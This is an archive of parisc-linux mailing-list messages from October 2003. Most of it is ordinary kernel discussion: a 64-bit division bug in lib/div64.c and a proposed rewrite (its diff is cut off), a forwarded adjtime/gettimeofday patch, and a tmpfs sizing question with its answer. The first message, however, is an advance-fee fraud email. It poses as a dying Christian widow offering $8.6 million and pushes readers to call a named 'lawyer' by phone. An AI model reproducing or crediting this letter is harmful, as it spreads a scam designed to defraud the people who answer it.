Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DONATION FOR THE LORD.
Date: Thu, 23 Oct 2003 03:04:03 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <20031023010357.97FC3A61@cuprel1.hp.com>
Reply-To: serenajones1@rediffmail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="f5e0ae90-cc78-49ee-aa38-d1f79062196c"
X-Trace: ger.gmane.org 1416622902 450 80.91.229.3 (22 Nov 2014 02:21:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:42 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 22 19:04:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5094B48CB
	for <parisc-linux@parisc-linux.org>; Wed, 22 Oct 2003 19:04:04 -0600 (MDT)
Original-Received: from rediffmail1449.com (node-d-58eb.a2000.nl [62.195.88.235])
	by cuprel1.hp.com (Postfix) with SMTP id 97FC3A61
	for <parisc-linux@parisc-linux.org>; Wed, 22 Oct 2003 18:03:57 -0700 (PDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19911

This is a multi-part message in MIME format
--f5e0ae90-cc78-49ee-aa38-d1f79062196c
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

From: Mrs Serena Jones

PLEASE ENDEAVOUR TO USED IT FOR THE CHILDREN OF GOD.
I am the above named person from Kuwait. I am married
to Dr. Harry Jones who worked with Kuwait embassy in Ivory Co
ast for nine years before he died in the year
2000.
We were married for eleven years without a child. He died a
fter a brief illness that lasted for only
four days. Before his death we were both born again Christia
ns.Since his death I decided not to re-
marry or get a child outside my matrimonial home which the Bi
ble is against.When my late husband was alive he deposited the
sum of$8.6Million (Eight Million six hundred thousand U.S. D
ollars) with one finance/security company in Amsterderm Hollan
d. Presently, this money is still with the Security Company.
Recently, my Doctor told me that I would not last for the next
three
months due to cancer problem. Though what disturbs me most i
s my stroke sickness. Having known my condition I decided to
donate this fund to church or better still a christian individ
ual that will utilize this money the way I am going to instruc
t here in. I want a church that will use this fund to fund chu
rches, orphanages and widows propagating the word of God and t
o ensure that the house of God is maintained. The Bible made
us to understand that Blessed is the hand that giveth.
I took this decision because I don?t have any child that wil
l inherit this money and my husband relatives are not Christi
ans and I don?t want my husband?s hard earned money to be misu
sed by unbelievers. I don?t want a situation where this money
will be used in an ungodly manner. Hence the reason for taking
this bold decision. I am not afraid of death hence I know whe
re I am going. I know that I am going to be in the bosom of th
e Lord. Exodus 14 VS 14 says that the lord will fight my case
and I shall hold my peace. I don?t need any telephone communi
cation in this regard because of my health because of the pres
ence of my husband?s relatives around me always. I don?t want
them to know about this development. With God all things are p
ossible. As soon as I receive your reply I shall give you the
contact of the Finance/Security Company in Amsterderm Holland
. I will also issue you a letter of authority that will prove
you as the original-
beneficiary of this fund. I want you and the church to always
pray for me because the lord is my shephard. My
happiness is that I lived a life of a worthy Christian. Whoe
ver that wants to serve the Lord must serve him in spirit and
truth. Please always be prayerful all through your life. Any d
elay in your reply will give me room in sourcing for a chuch
or christian individual for this same purpose. Please assure
me that you will act accordingly as I stated herein. Hoping
to hearing from you.

N.B-
PLEASE I WILL ADVICE YOU TO GIVE THE LAWYER IN CHARGE A CALL IN HOLLAND =
IMMEDIATELY, HE DOES EVERYTHING ON MY BEHALF AND HE'S VERY UNDERSTANDING AND =
I BELIEVE HE WILL LEAD YOU TO YOUR SUCCESS IN JESUS NAME, THE LAWYER'S NAME =
IS GERRY SLY HIS CONTACT PHONE NUMBER IS 00-31-620-668-086.

Remain blessed in the name of the Lord.
Yours in Christ,
Mrs Serena Jones

  
--f5e0ae90-cc78-49ee-aa38-d1f79062196c--



From - Thu Nov 08 21:29:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] teaching the kernel to do division
Date: Thu, 23 Oct 2003 00:21:57 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20031023072157.GX24406@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622902 454 80.91.229.3 (22 Nov 2014 02:21:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 23 01:17:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7447D484B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Oct 2003 01:17:18 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id EA0A4CD2F8; Thu, 23 Oct 2003 00:21:57 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19912

I was investigating why nanosleep() doesn't return the correct remaining
time with a 2.6 kernel... turns out the kernel doesn't seem to know 
how to do division properly :-(

kernel/posix-timers.c has:

                tsave->tv_sec = div_long_long_rem(left,
                                                  NSEC_PER_SEC,
                                                  &tsave->tv_nsec);

which eventually calls __div64_32() in lib/div64.c

if you test that function, you see that it does weird things. For
example, it tells me that:

28999591392 / 1000000000 = 3, remainder = 229787616

<sigh>

does anyone want to look into fixing it, and/or writing an optimized
version of that function for pa? :-) it needs to do basically this (but
be standalone)

uint32_t div64(uint64_t *n, uint32_t base)
{
        uint32_t rem;

        rem = *n % base;
        *n = *n / base;

        return rem;
}

thanks :)
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [davem@redhat.com: reminder, do_gettimeofday() fix]
Date: Thu, 23 Oct 2003 12:14:30 +0100
Lines: 127
Approved: news@gmane.org
Message-ID: <20031023111430.GX18370@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622903 458 80.91.229.3 (22 Nov 2014 02:21:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:43 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 23 05:14:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E375E484B
	for <parisc-linux@parisc-linux.org>; Thu, 23 Oct 2003 05:14:31 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1ACdQE-0008Rn-ML
	for parisc-linux@parisc-linux.org; Thu, 23 Oct 2003 12:14:30 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19913

Not sure whether we need this or not ...

----- Forwarded message from "David S. Miller" <davem@redhat.com> -----

Date:	Thu, 23 Oct 2003 01:44:01 -0700
From:	"David S. Miller" <davem@redhat.com>
Subject: reminder, do_gettimeofday() fix
X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu)


Just a reminder to folks that they need to check and add this
fix to their do_gettimeofday() implementation in 2.6.x if necessary.

# This is a BitKeeper generated patch for the following project:
# Project Name: Linux kernel tree
# This patch format is intended for GNU patch command version 2.5 or higher.
# This patch includes the following deltas:
#	           ChangeSet	1.1347.1.16 -> 1.1347.1.17
#	include/linux/timex.h	1.8     -> 1.9    
#	       kernel/time.c	1.17    -> 1.18   
#	arch/i386/kernel/time.c	1.41    -> 1.42   
#	      kernel/timer.c	1.71    -> 1.72   
#
# The following is the BitKeeper ChangeSet Log
# --------------------------------------------
# 03/10/22	akpm@osdl.org	1.1347.1.17
# [PATCH] Time precision, adjtime(x) vs. gettimeofday
# 
# From: Stephen Hemminger <shemminger@osdl.org>
# 
# The following will prevent adjtime from causing time regression.  It delays
# starting the adjtime mechanism for one tick, and keeps gettimeofday inside
# the window.
# 
# Only fixes i386, but changes to other arch would be similar.
# 
# Running a simple clock test program and playing with adjtime demonstrates
# that this fixes the problem (and 2.6.0-test6 is broken).  But given the
# fragile nature of the timer code, it should go through some more testing
# before inclusion.
# --------------------------------------------
#
diff -Nru a/arch/i386/kernel/time.c b/arch/i386/kernel/time.c
--- a/arch/i386/kernel/time.c	Thu Oct 23 00:11:17 2003
+++ b/arch/i386/kernel/time.c	Thu Oct 23 00:11:17 2003
@@ -104,6 +104,15 @@
 		lost = jiffies - wall_jiffies;
 		if (lost)
 			usec += lost * (1000000 / HZ);
+
+		/*
+		 * If time_adjust is negative then NTP is slowing the clock
+		 * so make sure not to go into next possible interval.
+		 * Better to lose some accuracy than have time go backwards..
+		 */
+		if (unlikely(time_adjust < 0) && usec > tickadj)
+			usec = tickadj;
+
 		sec = xtime.tv_sec;
 		usec += (xtime.tv_nsec / 1000);
 	} while (read_seqretry(&xtime_lock, seq));
diff -Nru a/include/linux/timex.h b/include/linux/timex.h
--- a/include/linux/timex.h	Thu Oct 23 00:11:17 2003
+++ b/include/linux/timex.h	Thu Oct 23 00:11:17 2003
@@ -302,6 +302,7 @@
 extern long time_reftime;	/* time at last adjustment (s) */
 
 extern long time_adjust;	/* The amount of adjtime left */
+extern long time_next_adjust;	/* Value for time_adjust at next tick */
 
 /* interface variables pps->timer interrupt */
 extern long pps_offset;		/* pps time offset (us) */
diff -Nru a/kernel/time.c b/kernel/time.c
--- a/kernel/time.c	Thu Oct 23 00:11:17 2003
+++ b/kernel/time.c	Thu Oct 23 00:11:17 2003
@@ -236,7 +236,7 @@
 	result = time_state;	/* mostly `TIME_OK' */
 
 	/* Save for later - semantics of adjtime is to return old value */
-	save_adjust = time_adjust;
+	save_adjust = time_next_adjust ? time_next_adjust : time_adjust;
 
 #if 0	/* STA_CLOCKERR is never set yet */
 	time_status &= ~STA_CLOCKERR;		/* reset STA_CLOCKERR */
@@ -283,7 +283,8 @@
 	    if (txc->modes & ADJ_OFFSET) {	/* values checked earlier */
 		if (txc->modes == ADJ_OFFSET_SINGLESHOT) {
 		    /* adjtime() is independent from ntp_adjtime() */
-		    time_adjust = txc->offset;
+		    if ((time_next_adjust = txc->offset) == 0)
+			 time_adjust = 0;
 		}
 		else if ( time_status & (STA_PLL | STA_PPSTIME) ) {
 		    ltemp = (time_status & (STA_PPSTIME | STA_PPSSIGNAL)) ==
diff -Nru a/kernel/timer.c b/kernel/timer.c
--- a/kernel/timer.c	Thu Oct 23 00:11:17 2003
+++ b/kernel/timer.c	Thu Oct 23 00:11:17 2003
@@ -474,6 +474,7 @@
 long time_adj;				/* tick adjust (scaled 1 / HZ)	*/
 long time_reftime;			/* time at last adjustment (s)	*/
 long time_adjust;
+long time_next_adjust;
 
 /*
  * this routine handles the overflow of the microsecond field
@@ -654,6 +655,12 @@
 	}
 	xtime.tv_nsec += delta_nsec;
 	time_interpolator_update(delta_nsec);
+
+	/* Changes by adjtime() do not take effect till next tick. */
+	if (time_next_adjust != 0) {
+		time_adjust = time_next_adjust;
+		time_next_adjust = 0;
+	}
 }
 
 /*


----- End forwarded message -----

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] TMPFS test?
Date: Thu, 23 Oct 2003 17:43:41 +0000
Lines: 72
Approved: news@gmane.org
Message-ID: <3F96570A0000166F@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622903 461 80.91.229.3 (22 Nov 2014 02:21:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 23 11:43:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 25729484B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Oct 2003 11:43:44 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1ACjUs-0003gA-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Oct 2003 19:43:42 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 23 Oct 2003 19:43:41 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19914

Hi pa,

I backport Randolph 2.6 works to 2.4.23-pre8-pa13 and test tmpfs which seems
to works:
# bdf
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sda5              1598520    991904    525416  66% /
/dev/sda3                60485     33364     23998  59% /boot
/dev/sda6               241949    131057     98400  58% /var
/dev/sda8               120963      7296    107422   7% /home
/dev/sda9              1968384   1619384    249008  87% /usr/src
/dev/sda10             1968384   1820036     48356  98% /Sources
/dev/sda11             1968384   1295444    572948  70% /Develop
/dev/sda7               120963        14    114704   1% /tmp
tmpfs                   128048         0    128048   0% /var/tmp

# ll
total 331524
drwxrwxrwx    3 root     root         4096 Oct 14 17:53 .
drwxr-xr-x    8 root     root         4096 Oct 13 09:51 ..
[...]
-rw-r--r--    1 root     root     39424270 Oct 14 13:28 vmunix-a500.s
[...]

# vi vmunix-a500.s

jso@palx2000:~$ df
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sda5              1598520    991904    525416  66% /
/dev/sda3                60485     33364     23998  59% /boot
/dev/sda6               241949    131057     98400  58% /var
/dev/sda8               120963      7296    107422   7% /home
/dev/sda9              1968384   1619384    249008  87% /usr/src
/dev/sda10             1968384   1820036     48356  98% /Sources
/dev/sda11             1968384   1295444    572948  70% /Develop
/dev/sda7               120963        14    114704   1% /tmp
tmpfs                   128048     52860     75188  42% /var/tmp

# cat /proc/meminfo 
        total:    used:    free:  shared: buffers:  cached:
Mem:  262246400 86798336 175448064        0  2965504 66297856
Swap: 256892928        0 256892928
MemTotal:       256100 kB
MemFree:        171336 kB
MemShared:           0 kB
Buffers:          2896 kB
Cached:          64744 kB
SwapCached:          0 kB
Active:          52432 kB
Inactive:        19836 kB
HighTotal:           0 kB
HighFree:            0 kB
LowTotal:       256100 kB
LowFree:        171336 kB
SwapTotal:      250872 kB
SwapFree:       250872 kB

I just have a question: is it normal that /var/tmp is of about 256Mb when
I have 256Mb of phys mem and 250Mb (cfdisk did this when I requested 256Mb
:( ) of swap?

Thanks for info,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TMPFS test?
Date: Thu, 23 Oct 2003 20:58:11 +0100 (IST)
Lines: 67
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0310232036170.21111@sal.ucc.ie>
References: <3F96570A0000166F@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622903 463 80.91.229.3 (22 Nov 2014 02:21:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 23 13:58:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC4A1484B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Oct 2003 13:58:14 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id h9NJwCOP012327;
	Thu, 23 Oct 2003 20:58:13 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3F96570A0000166F@ocpmta3.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19915

On Thu, 23 Oct 2003, Joel Soete wrote:

> Hi pa,
>
> I backport Randolph 2.6 works to 2.4.23-pre8-pa13 and test tmpfs which seems
> to works:

Well, tmpfs works for me since ... 2.4.19 ?!

> # bdf
> Filesystem           1K-blocks      Used Available Use% Mounted on
> /dev/sda5              1598520    991904    525416  66% /
> /dev/sda3                60485     33364     23998  59% /boot
> /dev/sda6               241949    131057     98400  58% /var
> /dev/sda8               120963      7296    107422   7% /home
> /dev/sda9              1968384   1619384    249008  87% /usr/src
> /dev/sda10             1968384   1820036     48356  98% /Sources
> /dev/sda11             1968384   1295444    572948  70% /Develop
> /dev/sda7               120963        14    114704   1% /tmp
> tmpfs                   128048         0    128048   0% /var/tmp

Okay, this says that you have 128MB allocated for tmpfs.
This is correct, as tmpfs uses up to half of the physical ram if you
don't specify the maximum size.
Well, it doesn't 'allocate' the whole 128MB at once of course, it
will just use as much as you put into the ram disk.

[...]

> # cat /proc/meminfo
>         total:    used:    free:  shared: buffers:  cached:
> Mem:  262246400 86798336 175448064        0  2965504 66297856
> Swap: 256892928        0 256892928
> MemTotal:       256100 kB
> MemFree:        171336 kB
> MemShared:           0 kB
> Buffers:          2896 kB
> Cached:          64744 kB
> SwapCached:          0 kB
> Active:          52432 kB
> Inactive:        19836 kB
> HighTotal:           0 kB
> HighFree:            0 kB
> LowTotal:       256100 kB
> LowFree:        171336 kB
> SwapTotal:      250872 kB
> SwapFree:       250872 kB
>
> I just have a question: is it normal that /var/tmp is of about 256Mb when

Mhh, perhaps I'm blind, but where do get the idea that tmpfs is using
256MB and not (up to) 128MB ?

I just see "MemFree: 171336 kB", and I guess that's a reasonable amount,
ie. 84764kB or almost 83MB are used. This is probably including your
52860kb for the contents in your ram disk, so it seems that all the rest
is about 31904kb or about 31MB.

> I have 256Mb of phys mem and 250Mb (cfdisk did this when I requested 256Mb
> :( ) of swap?

As mentioned before (look at /usr/src/linux/Documentation/filesystems/tmpfs.txt)
it will use UP TO half of your ram, but 'df' always shows up the max
possible size of the ram disk, aswell what is actually used.

greetings, Max


From - Thu Nov 08 21:29:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: teaching the kernel to do division
Date: Thu, 23 Oct 2003 16:39:35 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <20031023233935.GZ24406@tausq.org>
References: <20031023072157.GX24406@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622904 466 80.91.229.3 (22 Nov 2014 02:21:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 23 17:38:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85785484B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Oct 2003 17:38:16 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 24C40CD2F8; Thu, 23 Oct 2003 16:39:35 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20031023072157.GX24406@tausq.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19916

> does anyone want to look into fixing it, and/or writing an optimized
> version of that function for pa? :-) it needs to do basically this (but
> be standalone)

Here's one way to do it, but maybe it can be optimized a bit. Any
suggestions before i send it upstream?

randolph

Index: lib/div64.c
===================================================================
RCS file: /var/cvs/linux-2.6/lib/div64.c,v
retrieving revision 1.1
diff -u -p -r1.1 div64.c
--- lib/div64.c	29 Jul 2003 17:02:19 -0000	1.1
+++ lib/div64.c	23 Oct 2003 23:36:08 -0000
@@ -25,26 +25,28 @@
 
 uint32_t __div64_32(uint64_t *n, uint32_t base)
 {
-	uint32_t low, low2, high, rem;
+        uint64_t rem = *n;
+        uint64_t b = base;
+        uint64_t res = 0, d = 1;
 
-	low   = *n   & 0xffffffff;
-	high  = *n  >> 32;
-	rem   = high % (uint32_t)base;
-	high  = high / (uint32_t)base;
-	low2  = low >> 16;
-	low2 += rem << 16;
-	rem   = low2 % (uint32_t)base;
-	low2  = low2 / (uint32_t)base;
-	low   = low  & 0xffff;
-	low  += rem << 16;
-	rem   = low  % (uint32_t)base;
-	low   = low  / (uint32_t)base;
+        if (b > 0) {
+                while (b < rem) {
+                        b <<= 1;
+                        d <<= 1;
+                }
+        }
+        
+        do {
+                if (rem >= b) {
+                        rem -= b;
+                        res += d;
+                }
+                b >>= 1;
+                d >>= 1;
+        } while (d);
 
-	*n = low +
-		((uint64_t)low2 << 16) +
-		((uint64_t)high << 32);

From - Thu Nov 08 21:29:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bangjy@dreamwiz.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?EUC-KR?B?us7A58HfwNS0z7TZ?=
Date: Fri, 24 Oct 2003 12:30:04 +0900 (GMT)
Lines: 2
Approved: news@gmane.org
Message-ID: <200310240330.h9O3U4uN054936@mail1.dreamwiz.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=EUC-KR
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416622904 469 80.91.229.3 (22 Nov 2014 02:21:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 23 21:30:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx-s0.dreamwiz.com (mx-s0.dreamwiz.com [211.39.128.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73ED24A2E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Oct 2003 21:30:16 -0600 (MDT)
